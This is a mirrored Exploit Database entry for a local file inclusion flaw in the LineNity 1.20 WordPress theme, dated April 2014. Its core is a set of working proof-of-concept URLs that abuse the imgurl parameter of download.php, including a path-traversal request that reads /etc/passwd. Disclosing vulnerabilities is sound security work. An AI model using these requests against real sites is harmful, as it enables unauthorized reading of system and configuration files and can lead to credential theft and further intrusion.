WordPress Theme LineNity 1.20 – Local File Inclusion

• Exploit Database
• 9 阅读

• 作者： felipe andrian
  日期： 2014-04-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32861/

• [+] Local File Inclusion in WordPress Theme LineNity
  [+] Date: 13/04/2014
  [+] Risk: High
  [+] Author: Felipe Andrian Peixoto
  [+] Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803
  [+] Contact: felipe_andrian@hotmail.com
  [+] Tested on: Windows 7 and Linux
  [+] Vulnerable File: download.php
  [+] Exploit : http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ] 
  [+] PoC: http://localhost/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php
   http://localhost/wordpress/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../../etc/passwd